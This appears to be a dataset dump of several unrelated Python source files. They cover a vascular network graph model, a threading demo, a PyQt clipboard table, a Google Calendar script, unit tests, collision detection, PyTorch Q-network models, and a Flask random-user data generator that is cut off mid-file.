1\n self.c = 3\n self.mu = 3.6 * 1e-3\n self.alpha = 1\n self.node_count = 0\n self.edge_list = edge_list\n self.fixed = range(len(fixed))\n self.leaves = range(len(fixed), len(fixed) + len(leaves))\n for fixed_loc in fixed:\n self.add_branching_point(fixed_loc, True)\n for leaf_loc in leaves:\n self.add_branching_point(leaf_loc)\n self.initialize_nodes() \n\n def initialize_nodes(self, split=True):\n for edge in self.edge_list:\n n1, n2 = edge[0], edge[1]\n self.add_vessel(n1, n2, self.root_r)\n if split:\n count = 0\n level_map = {}\n for i in range(5):\n for edge in list(self.tree.edges):\n node1, node2 = edge\n if np.linalg.norm(self.tree.nodes[node1]['loc'] - self.tree.nodes[node2]['loc']) <= 6: continue\n loc = (self.tree.nodes[node1]['loc'] + self.tree.nodes[node2]['loc']) / 2\n self.split(node1, loc, [node2])\n level_map[self.node_count - 1] = len(self.fixed) + count\n self.tree.nodes[self.node_count - 1]['fixed'] = True\n count += 1\n print(count)\n for i in self.fixed:\n level_map[i] = i\n for i in self.leaves:\n level_map[i] = i + count\n self.tree = nx.relabel_nodes(self.tree, level_map)\n self.fixed = range(len(self.fixed) + count)\n self.leaves = range(len(self.fixed), len(self.fixed) + len(self.leaves))\n self.edge_list = []\n for edge in list(self.tree.edges):\n node1, node2 = edge\n self.edge_list.append([node1, node2])\n # for node in list(self.tree.nodes):\n # if self.tree.degree[node] == 0:\n # print(\"deg <= 1: %d\" % node)\n # return\n for node in list(self.tree.nodes):\n # if self.tree.nodes[node]['fixed'] and self.tree.degree[node] <= 1:\n # dis_list = np.array([np.linalg.norm(self.tree.nodes[node]['loc'] - self.tree.nodes[n]['loc']) for n in self.fixed])\n # closest_list = np.argsort(dis_list)\n # for n in closest_list:\n # if n != node and len(list(nx.all_simple_paths(self.tree, source=node, target=n))) == 0:\n # self.add_vessel(node, n, self.r_0)\n # e.append([node, n])\n # print(node)\n # break\n if not self.tree.nodes[node]['fixed']:\n closest = self.find_nearest_fixed(node)\n self.add_vessel(node, closest, self.r_0)\n\n def add_branching_point(self, loc, fixed=False, pres=None):\n self.tree.add_node(self.node_count, loc=np.array(loc), pressure=pres, HS=None, level=None, fixed=fixed)\n self.node_count += 1\n return self.node_count - 1\n\n def add_vessel(self, node, neighbor_node, radius=None, flow=None):\n r = self.r_0 if radius == None else radius\n f = self.f_0 if flow == None else flow\n dis = np.linalg.norm(self.tree.nodes[node]['loc'] - self.tree.nodes[neighbor_node]['loc'])\n self.tree.add_edge(node, neighbor_node, radius=r, flow=f, length=dis)\n\n def merge(self, node1, node2):\n for n in self.tree.neighbors(node2):\n if node1 != n:\n self.add_vessel(node1, n, self.tree[node2][n]['radius'], self.tree[node2][n]['flow'])\n self.tree.remove_node(node2)\n\n def split(self, node1, node2_loc, nodes_to_split):\n node2 = self.add_branching_point(node2_loc)\n for n in nodes_to_split:\n self.add_vessel(node2, n, self.tree[node1][n]['radius'], self.tree[node1][n]['flow'])\n r_sum, f_sum = self.split_radius(node1, nodes_to_split)\n for n in nodes_to_split:\n self.tree.remove_edge(node1, n)\n self.add_vessel(node1, node2, r_sum, f_sum)\n print(\"split and create node %d at loc %s with radius %f\" % (node2, node2_loc, r_sum))\n\n def split_radius(self, node, nodes_to_split):\n if len(nodes_to_split) == 1:\n n = nodes_to_split[0]\n return self.tree[node][n]['radius'], self.tree[node][n]['flow']\n r_sum = 0\n f_sum = 0\n remaining_nodes = list(self.tree.neighbors(node))\n neighbor_edge_radii = np.array([self.tree[node][n]['radius'] for n in remaining_nodes])\n root1 = remaining_nodes[np.argmax(neighbor_edge_radii)]\n neighbor_orders = np.array([self.tree.nodes[n]['level'] for n in remaining_nodes])\n if -1 in neighbor_orders:\n root = np.where(neighbor_orders == -1)[0][0]\n else:\n root = remaining_nodes[np.argmax(neighbor_orders)]\n # if root1 != root:\n # print(\"max radius root: %d max order root: %d\" % (root1, root))\n for n in nodes_to_split:\n remaining_nodes.remove(n)\n if root in remaining_nodes:\n remaining_nodes = nodes_to_split\n for n in remaining_nodes:\n r_sum += self.tree[node][n]['radius'] ** self.c\n f_sum += self.tree[node][n]['flow']\n return r_sum ** (1 / self.c), f_sum\n\n def prune(self, l, mode='level'):\n self.update_order(mode)\n for edge in list(self.tree.edges):\n node1, node2 = edge\n edge1 = [node1, node2]\n edge2 = [node2, node1]\n if edge1 in self.edge_list or edge2 in self.edge_list:\n continue\n # print(\"node %d level: %d\" % (node1, self.tree.nodes[node1][mode]))\n # print(\"node %d level: %d\" % (node2, self.tree.nodes[node2][mode]))\n if self.tree.nodes[node1][mode] == -1 or self.tree.nodes[node2][mode] == -1:\n order = max(self.tree.nodes[node1][mode], self.tree.nodes[node2][mode])\n else:\n order = min(self.tree.nodes[node1][mode], self.tree.nodes[node2][mode])\n if order <= l:\n self.tree.remove_edge(node1, node2)\n print(\"prune edge (%d, %d)\" % (node1, node2))\n for node in list(self.tree.nodes):\n if len(list(self.tree.neighbors(node))) == 0 and node not in self.leaves and node not in self.fixed:\n self.tree.remove_node(node)\n print(\"prune node %d\" % node)\n\n def reconnect(self):\n for leaf in self.leaves:\n if self.tree.degree[leaf] != 0:\n continue\n nearest_node = self.find_nearest_fixed(leaf)\n min_dis = np.linalg.norm(self.tree.nodes[leaf]['loc'] - self.tree.nodes[nearest_node]['loc'])\n for node in self.tree.nodes:\n dis = np.linalg.norm(self.tree.nodes[node]['loc'] - self.tree.nodes[leaf]['loc'])\n if node not in self.leaves and node not in self.fixed and dis < min_dis:\n min_dis = dis\n nearest_node = node\n # print(\"leaf %d is closer to %d with distance %f\" % (leaf, nearest_node, min_dis))\n self.add_vessel(nearest_node, leaf, self.r_0, self.f_0)\n print(\"reconnect %d and %d with radius %f\" % (leaf, nearest_node, self.r_0))\n\n def find_nearest_fixed(self, node):\n dis_list = np.array([np.linalg.norm(self.tree.nodes[node]['loc'] - self.tree.nodes[n]['loc']) for n in self.fixed])\n return np.argsort(dis_list)[0]\n\n def move_node(self, node, loc_new):\n self.tree.nodes[node]['loc'] = loc_new\n for n in self.tree.neighbors(node):\n self.tree[node][n]['length'] = np.linalg.norm(self.tree.nodes[node]['loc'] - self.tree.nodes[n]['loc'])\n\n def reorder_nodes(self):\n print(\"Reordering...\")\n self.update_order()\n level_list = []\n node_list = list(self.tree.nodes)\n for node in node_list:\n level_list.append(self.tree.nodes[node]['level'])\n level_idices = np.argsort(-1 * np.array(level_list))\n level_map = {}\n for i in self.fixed:\n level_map[i] = i\n for i in self.leaves:\n level_map[i] = i\n idx = len(self.leaves) + len(self.fixed)\n for i in level_idices:\n if i in self.fixed or i in self.leaves:\n continue\n level_map[node_list[i]] = idx\n idx += 1\n self.tree = nx.relabel_nodes(self.tree, level_map)\n print(\"Finish.\")\n\n def update_radius_and_flow(self, edge, r_new):\n node1, node2 = edge\n self.tree[node1][node2]['radius'] = r_new\n self.tree[node1][node2]['flow'] = self.k * (r_new ** self.c)\n\n def get_radius_for_leaf(self, node):\n radii = np.array([self.tree[n][node]['radius'] for n in self.tree.neighbors(node)])\n max_r = np.max(radii)\n max_r_power = max_r ** self.c\n rest_power = np.sum(radii ** self.c) - max_r_power\n return (max_r_power - rest_power) ** (1 / self.c)\n\n def get_flow_for_leaf(self, node):\n flows = np.array([self.tree[n][node]['flow'] for n in self.tree.neighbors(node)])\n max_f = np.max(flows)\n rest = np.sum(flows) - max_f\n return (max_f - rest)\n\n def update_order(self, mode='level'):\n for n in self.tree.nodes: \n self.tree.nodes[n][mode] = 1 if self.tree.degree[n] == 1 and not self.tree.nodes[n]['fixed'] else 0\n if self.tree.nodes[n]['fixed']:\n self.tree.nodes[n][mode] = -1\n count_no_label = self.node_count\n cur_order = 1\n while count_no_label != 0:\n for node in self.tree.nodes:\n if self.tree.nodes[node][mode] != 0 or len(list(self.tree.neighbors(node))) == 0:\n continue\n neighbor_orders = np.array([self.tree.nodes[n][mode] for n in self.tree.neighbors(node)])\n if -1 in neighbor_orders and np.count_nonzero(neighbor_orders == 0) >= 1:\n continue\n if -1 not in neighbor_orders and np.count_nonzero(neighbor_orders == 0) > 1:\n continue\n max_order = np.max(neighbor_orders)\n max_count = np.count_nonzero(neighbor_orders == max_order)\n self.tree.nodes[node][mode] = max_order if max_count == 1 and mode == 'HS' else max_order + 1\n count_no_label = np.count_nonzero(np.array([self.tree.nodes[n][mode] for n in self.tree.nodes]) == 0)\n # print(count_no_label)\n\n def update_final_order(self, mode='HS'):\n for n in self.tree.nodes: \n self.tree.nodes[n][mode] = 1 if self.tree.degree[n] == 1 else 0\n count_no_label = self.node_count\n cur_order = 1\n while count_no_label != 0:\n for node in self.tree.nodes:\n if self.tree.nodes[node][mode] != 0 or len(list(self.tree.neighbors(node))) == 0:\n continue\n neighbor_orders = np.array([self.tree.nodes[n][mode] for n in self.tree.neighbors(node)])\n if np.count_nonzero(neighbor_orders == 0) > 1:\n continue\n max_order = np.max(neighbor_orders)\n max_count = np.count_nonzero(neighbor_orders == max_order)\n self.tree.nodes[node][mode] = max_order if max_count == 1 and mode == 'HS' else max_order + 1\n count_no_label = np.count_nonzero(np.array([self.tree.nodes[n][mode] for n in self.tree.nodes]) == 0)\n\n def update_final_radius(self):\n print(\"update final radius...\")\n changed = []\n i = 0\n connected = nx.number_connected_components(self.tree)\n while len(changed) != len(list(self.fixed)) - connected:\n for node in self.fixed:\n if node in changed: continue\n if node not in self.tree.nodes:\n changed.append(node)\n continue \n neighbor_radii = np.array([self.tree[node][n]['radius'] for n in self.tree.neighbors(node)])\n if np.count_nonzero(neighbor_radii == self.root_r) == 1:\n if i == 0:\n for n in self.tree.neighbors(node):\n if self.tree.nodes[n]['fixed']:\n self.tree[n][node]['radius'] = 0.4 + 0.5 * np.random.random()\n else:\n for n in self.tree.neighbors(node):\n if self.tree[n][node]['radius'] == self.root_r and n in list(self.fixed):\n self.tree[n][node]['radius'] = (np.sum(neighbor_radii ** self.c) - self.root_r ** self.c) ** (1 / self.c)\n changed.append(node)\n i += 1\n print(\"update final radius finished.\")\n\n def get_max_level(self):\n return np.max(np.array([self.tree.nodes[n]['level'] for n in self.tree.nodes]))\n\n def get_conductance(self, edge):\n node1, node2 = edge\n return self.alpha * np.pi * (self.tree[node1][node2]['radius'] ** 4) / (8 * self.mu * self.tree[node1][node2]['length'])\n\n def get_pressure_diff(self, edge):\n node1, node2 = edge\n return self.tree[node1][node2]['flow'] / self.get_conductance(edge)\n\n def get_power_loss(self, edge):\n node1, node2 = edge\n return (self.tree[node1][node2]['flow'] ** 2) * (1 / self.get_conductance(edge))\n\n def get_max_stress(self, edge):\n node1, node2 = edge\n return (4 * self.mu * self.tree[node1][node2]['flow']) / (np.pi * self.tree[node1][node2]['radius'] ** 3)\n\n def final_merge(self):\n print(\"final merge\")\n merge_count = 0\n for n in list(self.tree.nodes):\n if n not in self.tree.nodes: continue\n neighbors = list(self.tree.neighbors(n))\n if len(neighbors) == 2:\n n1, n2 = neighbors[0], neighbors[1]\n s1 = (self.tree.nodes[n]['loc'] - self.tree.nodes[n1]['loc'])[1] / (self.tree.nodes[n]['loc'] - self.tree.nodes[n1]['loc'])[0]\n s2 = (self.tree.nodes[n]['loc'] - self.tree.nodes[n2]['loc'])[1] / (self.tree.nodes[n]['loc'] - self.tree.nodes[n2]['loc'])[0]\n if s1 == s2 and self.tree[n][n1]['radius'] == self.tree[n][n2]['radius']:\n merge_count += 1\n self.merge(n2, n)\n print(\"final merge finish: reduce %d nodes\" % merge_count)\n\n\n\nif __name__ == '__main__':\n VN = VascularNetwork((0,0),[(0,4),(4,0)],0.1,3,2)\n VN.add_branching_point((3,3))\n VN.add_branching_point((1, 2))\n VN.add_vessel(0, 1)\n VN.add_vessel(0, 2)\n VN.add_vessel(0, 3)\n VN.add_branching_point((2,1))\n VN.add_vessel(4, 3)\n VN.add_vessel(5, 3)\n VN.reorder_nodes()\n \"\"\"\n VN.split(3, (1.5,1.5), [4,5])\n VN.split(0, (2,2), [1])\n VN.split(0, (3,1), [2])\n VN.move_node(1, (1, 4)) \n VN.merge(3, 6) \n VN.prune(1)\n VN.reconnect()\n \"\"\"\n \"\"\"\n VN.split(0, (0,1,0), [1])\n VN.split(0, (1,8,9), [2])\n VN.split(0, (1,1,1), [3])\n VN.tree.remove_edge(7,1)\n VN.tree.remove_edge(8,2)\n VN.tree.remove_edge(9,3)\n VN.reconnect()\n plt.subplot(121)\n #nx.draw(VN.tree, with_labels=True, font_weight='bold')\n #plt.show()\n \"\"\"\n locs = nx.get_node_attributes(VN.tree,'loc')\n nx.draw(VN.tree, locs, with_labels=True)\n label1 = nx.get_node_attributes(VN.tree, 'level')\n label2 = nx.get_edge_attributes(VN.tree, 'length')\n nx.draw_networkx_labels(VN.tree, locs, label1)\n nx.draw_networkx_edge_labels(VN.tree, locs, edge_labels=label2)\n plt.show()\n\n\n\n\n\n\n","sub_path":"VascularNetworkReconstruction/VascularNetwork.py","file_name":"VascularNetwork.py","file_ext":"py","file_size_in_byte":15895,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"535592249","text":"from threading import Thread\n\ng_num=100\n\ndef func1():\n global g_num\n for i in range(5):\n g_num+=1\n print(g_num)\n\ndef func2():\n print(g_num)\n\nt1=Thread(target=func1)\nt2=Thread(target=func2)\n\nt1.start()\nt2.start()\n\n","sub_path":"03-python系统编程.py/15-多个子线程共享全局变量.py","file_name":"15-多个子线程共享全局变量.py","file_ext":"py","file_size_in_byte":232,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"241749988","text":"from PyQt5.QtWidgets import *\nfrom PyQt5.QtCore import *\nfrom PyQt5.QtGui import *\n\n\nclass ClipboardTableView(QTableView):\n def __init__(self, parent):\n QTableView.__init__(self, parent)\n self.clip = QApplication.clipboard()\n\n def keyPressEvent(self, e):\n selected = self.selectedIndexes()\n row_number = 0\n values = [[]]\n if e.matches(QKeySequence.Copy):\n for i in selected:\n if i.row() == row_number:\n values[row_number].append(str(self.model().data(i, Qt.DisplayRole).value()))\n else:\n values.append([str(self.model().data(i, Qt.DisplayRole).value())])\n row_number += 1\n s = ''\n for row in values:\n s += \"\\t\".join(row) + '\\n'\n self.clip.setText(s)\n\n if e.matches(QKeySequence.Paste):\n try:\n selected = self.selectedIndexes()\n row_number = selected[0].row()\n column_number = selected[0].column()\n a = self.clip.text()\n rows = a.split('\\n')\n print(rows)\n rows.pop()\n values = []\n for row in rows:\n values.append(row.split('\\t'))\n print(values)\n for row_forward, rows in enumerate(values):\n for column_forward, value in enumerate(rows):\n model_index = self.model().createIndex(row_number + row_forward, column_number + column_forward)\n self.model().setData(model_index, value, Qt.EditRole)\n self.update()\n\n except:\n pass\n\n","sub_path":"src/clipboard_table_view.py","file_name":"clipboard_table_view.py","file_ext":"py","file_size_in_byte":1723,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"555801604","text":"# -*- coding: utf-8 -*-\nfrom __future__ import print_function\nimport httplib2\nimport os\n\nfrom apiclient import discovery\nfrom oauth2client import client\nfrom oauth2client import tools\nfrom oauth2client.file import Storage\n\nimport datetime\n\ntry:\n import argparse\n flags = argparse.ArgumentParser(parents=[tools.argparser]).parse_args()\nexcept ImportError:\n flags = None\n\n# If modifying these scopes, delete your previously saved credentials\n# at ~/.credentials/calendar-python-quickstart.json\nSCOPES = 'https://www.googleapis.com/auth/calendar'\nCLIENT_SECRET_FILE = 'client_secret.json'\nAPPLICATION_NAME = 'Google Calendar API Python Quickstart'\n\ndef get_mois(mois):\n if mois == \"01\":\n return \"janvier\"\n elif mois == \"02\":\n return \"fevrier\"\n elif mois == \"03\":\n return \"mars\"\n elif mois == \"04\":\n return \"avril\"\n elif mois == \"05\":\n return \"mai\"\n elif mois == \"06\":\n return \"juin\"\n elif mois == \"07\":\n return \"juillet\"\n elif mois == \"08\":\n return \"aout\"\n elif mois == \"09\":\n return \"septembre\"\n elif mois == \"10\":\n return \"octobre\"\n elif mois == \"11\":\n return \"novembre\"\n elif mois == \"12\":\n return \"decembre\"\n return \"\"\n\n\n\n \ndef get_credentials():\n \"\"\"Gets valid user credentials from storage.\n\n If nothing has been stored, or if the stored credentials are invalid,\n the OAuth2 flow is completed to obtain the new credentials.\n\n Returns:\n Credentials, the obtained credential.\n \"\"\"\n home_dir = os.path.expanduser('~')\n credential_dir = os.path.join(home_dir, '.credentials')\n \n if not os.path.exists(credential_dir):\n os.makedirs(credential_dir)\n \n credential_path = os.path.join(credential_dir, 'calendar-python-quickstart.json')\n\n store = Storage(credential_path)\n credentials = store.get()\n \n if not credentials or credentials.invalid:\n flow = client.flow_from_clientsecrets(CLIENT_SECRET_FILE, SCOPES)\n flow.user_agent = APPLICATION_NAME\n if flags:\n credentials = tools.run_flow(flow, store, flags)\n else: # Needed only for compatibility with Python 2.6\n credentials = tools.run(flow, store)\n \n print('Storing credentials to ' + credential_path)\n \n return credentials\n\n\n\n\n\ndef main():\n \"\"\"\n Creates a Google Calendar API service object and outputs a list of the next 20 events on the user's calendar.\n \"\"\"\n reply = \"Je regarde.\\n\"\n\n # Parametrage de l'aplication\n credentials = get_credentials()\n http = credentials.authorize(httplib2.Http())\n service = discovery.build('calendar', 'v3', http=http)\n\n now = datetime.datetime.utcnow().isoformat() + 'Z' # 'Z' indicates UTC time\n eventsResult = service.events().list(\n calendarId='primary', timeMin=now, maxResults=10, singleEvents=True,\n orderBy='startTime').execute()\n events = eventsResult.get('items', [])\n\n # Récupération des événements\n i = 0\n evenements = \"\"\n for event in events:\n debut= event['start'].get('dateTime')\n\n # Vérification de la date\n if debut[0:4] == now[0:4] and debut[5:7] == now[5:7] and int(debut[8:10])-1 == int(now[8:10]) :\n i += 1\n date = \"Demain\"\n # Formatage de l'heure\n heure = debut[11:13] + \" heure\"\n if debut[14:16] != \"00\" :\n heure = heure + \" \" + debut[14:16]\n\n summary = event['summary']\n location = event['location']\n description = event['description']\n\n evenements += date + u\" à \" + heure + u\", vous avez l'événement : \" + summary + \".\\n\"\n if i == 0 :\n reply += u\"Vous n'avez pas d'événements de prévus pour demain\\n\"\n else :\n reply += \"Vous avez \" + str(i) + u\" événement\\n\" + evenements\n \n fichier = open(\"evenement.txt\", \"w\")\n fichier.write(reply.encode(\"utf-8\"))\n fichier.close\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"fr/python/tomorrowEvent.py","file_name":"tomorrowEvent.py","file_ext":"py","file_size_in_byte":4034,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"334250986","text":"from math import *\n\n\ndef isCollided(player, obj, ):\n if obj.rotY == 90 or obj.rotY == -90:\n return test_cu(player.radius, player.posX, player.posZ, obj.width, obj.Length, obj.posX, obj.posZ)\n else:\n return test_cu(player.radius, player.posX, player.posZ, obj.Length, obj.width, obj.posX, obj.posZ)\n\n\ndef test_cu(r, center_x, center_y, l, w, ce_x, ce_y):\n L = l / 2\n W = w / 2\n r_x = ce_x + W\n # l_x = ce_x\n l_x = ce_x - W\n t_y = ce_y + L\n # b_y = ce_y\n b_y = ce_y - L\n if center_x <= l_x:\n test_x = l_x\n else:\n if center_x >= (r_x):\n test_x = r_x\n else:\n test_x = center_x\n\n if center_y <= b_y:\n test_y = b_y\n else:\n if center_y >= (t_y):\n test_y = t_y\n else:\n test_y = center_y\n\n dist_x = center_x - test_x\n dist_y = center_y - test_y\n distance = sqrt((dist_x * dist_x) + (dist_y * dist_y))\n\n if distance <= r:\n return True\n else:\n return False\n","sub_path":"CollisionDetection.py","file_name":"CollisionDetection.py","file_ext":"py","file_size_in_byte":1017,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"301672554","text":"import torch \r\nimport torch.nn as nn\r\nimport torch.nn.functional as F\r\n# from config import cfg\n\r\n\r\n\r\nclass BasicQNet(nn.Module):\r\n\r\n def __init__(self,cfg):\r\n super(BasicQNet,self).__init__()\r\n self.fc1 = nn.Linear(cfg.inputNum, cfg.hiddenNum) ### one layer linear network that takes input of dimension inputNum and returns output of dimension hiddenNum\r\n self.fc2 = nn.Linear(cfg.hiddenNum, cfg.hiddenNum)\r\n self.fc3 = nn.Linear(cfg.hiddenNum, cfg.outputNum)\n\n self.init_weights()\r\n\r\n def init_weights(self):\r\n #init all weights using xavier initialization\r\n for m in self.modules():\r\n if isinstance(m, nn.Conv2d) or isinstance(m, nn.Linear):\r\n nn.init.xavier_normal(m.weight.data) ## normal initialization with mean 0 and variance = 2/(fan_in + fan_out) where fan_in=#(input nodes to the layer), fan_out=#(output nodes at the layer)\r\n\r\n def forward(self,x):\n out = F.relu(self.fc1(x))\r\n out = F.relu(self.fc2(out))\r\n out = self.fc3(out)\r\n # out = F.softmax(out, dims = 1)\r\n \r\n return out\r\n\r\n\r\nclass DistributionNet(nn.Module):\r\n\r\n def __init__(self,cfg):\r\n super(DistributionNet,self).__init__()\r\n self.fc1 = nn.Linear(cfg.inputNum, cfg.hiddenNum)\r\n self.fc2 = nn.Linear(cfg.hiddenNum, cfg.hiddenNum)\r\n self.fc3 = nn.Linear(cfg.hiddenNum, cfg.actionNum * cfg.atomNum)\r\n \r\n \r\n def init_weights(self):\r\n #init all weights using xavier initialization\r\n for m in self.modules():\r\n if isinstance(m, nn.Conv2d) or isinstance(m, nn.Linear):\r\n nn.init.xavier_normal(m.weight.data) \r\n\r\n def forward(self,x,cfg,batchFlag):\r\n\r\n out = F.relu(self.fc1(x))\r\n out = F.relu(self.fc2(out))\r\n out = self.fc3(out)\r\n \n if batchFlag==1:\n out=out.view(cfg.batch_size,2,cfg.atomNum)\n out = F.softmax(out, dim = 2)\n else:\n out=out.view(2,cfg.atomNum)\n out = F.softmax(out, dim = 1)\n \r\n return out\r\n\r\nclass CategoricalConvNet(nn.Module):\r\n def __init__(self, in_channels, n_actions, n_atoms, gpu=0):\r\n super(CategoricalConvNet, self).__init__()\r\n self.conv1 = nn.Conv2d(in_channels, 32, kernel_size=8, stride=4)\r\n self.conv2 = nn.Conv2d(32, 64, kernel_size=4, stride=2)\r\n self.conv3 = nn.Conv2d(64, 64, kernel_size=3, stride=1)\r\n self.fc4 = nn.Linear(6 * 6 * 64, 512)\r\n self.fc_categorical = nn.Linear(512, n_actions * n_atoms)\r\n self.n_actions = n_actions\r\n self.n_atoms = n_atoms\r\n\r\n def forward(self, x):\r\n # x = self.variable(x)\r\n y = F.relu(self.conv1(x))\r\n y = F.relu(self.conv2(y))\r\n y = F.relu(self.conv3(y))\r\n # print(y.shape)\r\n y = y.view(y.size(0), -1)\r\n y = F.relu(self.fc4(y))\r\n y = self.fc_categorical(y)\r\n y = y.view(-1,self.n_actions,self.n_atoms)\r\n y = F.softmax(y, dim = 2)\r\n return y\r\n","sub_path":"CatQlearnandDQNNeuralNet/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":3054,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"515558247","text":"\"\"\"\nCreated on 2018-06-21\n\n@author: Martin Bamford\n\nUnit tests written retrospectively for the edge detection function (a fairly complex function which did not previously have any tests)\n\"\"\"\n\nimport sdg\nimport pytest\nimport os\n\nsrc_dir = os.path.dirname(os.path.realpath(__file__))\n\ndef test_edge_detection_no_edges():\n \"\"\"Tests an indicator in the test data which has no parent-child relationships\n The edge detection function should return an empty DataFrame\n Acts as a control for the other tests\n \"\"\"\n inid = \"17-19-2\"\n non_disaggregation_columns = ['Year', 'Value']\n data = sdg.data.get_inid_data(inid, src_dir=src_dir)\n edges = sdg.edges.edge_detection(inid, data, non_disaggregation_columns)\n assert edges.empty\n\ndef test_edge_detection_simple():\n \"\"\"Tests an indicator in the test data which has a single parent-child relationship\n The edge detection function should return a DataFrame with a single row reflecting this relationship\n \"\"\"\n inid = \"1-a-2\"\n non_disaggregation_columns = ['Year', 'Units', 'Value']\n data = sdg.data.get_inid_data(inid, src_dir=src_dir)\n edges = sdg.edges.edge_detection(inid, data, non_disaggregation_columns)\n assert len(edges.index) == 1\n assert parent_has_child(edges, 'Area of spending category', 'Area of spending sub-category')\n\ndef test_edge_detection_pruned_grandparents():\n \"\"\"Tests an indicator in the test data which has multiple parent-child relationships including grandparents\n For example it has the grandparent>parent>child relationship Sex>Ethnicity>Ethnic Group\n (Since the ethnic columns are never present without the Sex being specified)\n As the edge detection routine prunes grandparent relationship the results should include\n Sex>Ethnicity and Ethnicity>Ethnic Group but not Sex>Ethnic Group\n \"\"\"\n inid = \"5-2-2\"\n non_disaggregation_columns = ['Year', 'Value']\n data = sdg.data.get_inid_data(inid, src_dir=src_dir)\n edges = sdg.edges.edge_detection(inid, data, non_disaggregation_columns)\n assert parent_has_child(edges, 'Sex', 'Ethnicity')\n assert not parent_has_child(edges, 'Sex', 'Ethnic group')\n assert parent_has_child(edges, 'Ethnicity', 'Ethnic group')\n\ndef parent_has_child(edges, parent, child):\n \"\"\"Determines whether the passed DataFrame contains a row matching the following criteria:\n A column named 'From' whose value matches the 'parent' paremeter and a column named 'To' whose value matches the 'child' parameter\n \"\"\"\n parents = edges.query('From == \"' + parent + '\"')\n children = parents.get('To')\n return child in children.unique()","sub_path":"tests/test_edge_detection.py","file_name":"test_edge_detection.py","file_ext":"py","file_size_in_byte":2621,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"125892496","text":"import bisect\nimport datetime\nimport random\nimport socket\nimport string\nimport struct\nfrom functools import wraps\n\nfrom celery import Celery\nfrom chinesename import chinesename\nfrom flask import request\nfrom flask_caching import Cache\nfrom flask_mail import Mail\nfrom pyecharts import Pie, Bar, Line\nfrom schema import Schema, SchemaMissingKeyError, SchemaWrongKeyError, SchemaError, SchemaUnexpectedTypeError\n\nfrom models import User, Ap, Log\nfrom response import json_response\n\n\ndef make_celery(flask_app):\n celery_ = Celery(flask_app.import_name)\n celery_.config_from_object('config')\n celery_.conf.update(flask_app.config)\n\n class ContextTask(celery_.Task):\n def __call__(self, *args, **kwargs):\n with flask_app.app_context():\n return self.run(*args, **kwargs)\n\n celery_.Task = ContextTask\n return celery_\n\n\ncache = Cache()\nmail = Mail()\n\nYEAR_LIST = ['2014', '2015', '2016', '2017', '2018']\n# 性别\nSEX_LIST = ['男', '女']\n# 学院\nCOLLEGE_LIST = [\n '外国语学院',\n '艺术学院',\n '体育学院',\n '美视电影学院',\n '国际学院',\n '博雅学院',\n '弘深学院',\n '人文社会科学高等研究院',\n '公共管理学院',\n '经济与工商管理学院',\n '新闻学院',\n '法学院',\n '马克思主义学院',\n '发展研究中心',\n '数学与统计学院',\n '物理学院',\n '化学化工学院',\n '生物工程学院',\n '生命科学学院',\n '药学院(创新药物研究中心)',\n '现代物理中心',\n '分析测试中心',\n '机械工程学院',\n '电气工程学院',\n '动力工程学院',\n '资源及环境科学学院',\n '材料科学与工程学院',\n '航空航天学院',\n '汽车工程学院',\n '重庆大学-辛辛那提大学联合学院',\n '建筑城规学院',\n '土木工程学院',\n '城市建设与环境工程学院',\n '建设管理与房地产学院',\n '光电工程学院',\n '通信工程学院',\n '计算机学院',\n '自动化学院',\n '软件学院',\n]\n# 班级\nCLASS_LIST = ['1', '2', '3', '4', '5', '6', '7', '8', '9']\n# 用户类型\nUSER_TYPE_LIST = ['教师', '学生', '其他']\n# 用户类型权重\nUSER_TYPE_WEIGHT_LIST = [4, 15, 1]\n# 设备类型\nDEVICE_LIST = ['pc', 'mac', 'android', 'ios', '其他']\n# 校区\nCAMPUS_LIST = ['A', 'B', 'C', 'D']\n# 楼栋\nBUILDING_LIST = [\n '梅园1栋', '梅园2栋', '梅园3栋', '梅园4栋', '梅园5栋', '梅园6栋', '梅园7栋',\n '兰园1栋', '兰园2栋', '兰园3栋', '兰园4栋', '兰园5栋', '兰园6栋', '兰园7栋',\n '竹园1栋', '竹园2栋', '竹园3栋', '竹园4栋', '竹园5栋', '竹园6栋', '竹园7栋',\n '松园1栋', '松园2栋', '松园3栋', '松园4栋', '松园5栋', '松园6栋', '松园7栋',\n 'A区1舍', 'A区2舍', 'A区3舍', 'A区4舍', 'A区5舍', 'A区6舍', 'A区7舍', 'A区8舍', 'A区9舍', 'A区10舍', 'A区11舍',\n 'A区A舍', 'A区B舍', 'A区C舍', 'A区D舍',\n]\n# 楼层\nMAX_FLOOR = 10\n# 用户行为\nBEHAVIOR_LIST = ['上线', '下线', '网站浏览']\n# 资源类型\nRESOURCE_TYPE_LIST = ['新闻', '学术', '设计', '购物', '视频', '游戏', '其他']\n\n\ndef weight_choice(weight_list, choice_list):\n \"\"\"\n :param choice_list: 选择序列\n :param weight_list: 权重序列\n :return:随机值\n \"\"\"\n weight_sum = []\n sum_ = 0\n for a in weight_list:\n sum_ += a\n weight_sum.append(sum_)\n t = random.randint(0, sum_ - 1)\n return choice_list[bisect.bisect_right(weight_sum, t)]\n\n\ndef generate_random_code_suffix():\n \"\"\"\n 随机学号后缀\n :return:\n \"\"\"\n return ''.join(random.sample(string.digits, 4))\n\n\ndef generate_test_data():\n pass\n\n\ndef generate_user(count=20000):\n \"\"\"\n 生成随机的20000用户\n :return:\n \"\"\"\n data = []\n for i in range(count):\n print(i)\n user_type = weight_choice(USER_TYPE_WEIGHT_LIST, USER_TYPE_LIST)\n year = random.choice(YEAR_LIST)\n if user_type == '学生':\n code = year + generate_random_code_suffix()\n class_ = random.choice(CLASS_LIST)\n else:\n code = ''.join(random.sample(string.digits + string.ascii_lowercase, 8))\n class_ = '无'\n name = chinesename.ChineseName().getName()\n sex = random.choice(SEX_LIST)\n college = random.choice(COLLEGE_LIST)\n user_dict = dict(\n code=code,\n name=name,\n 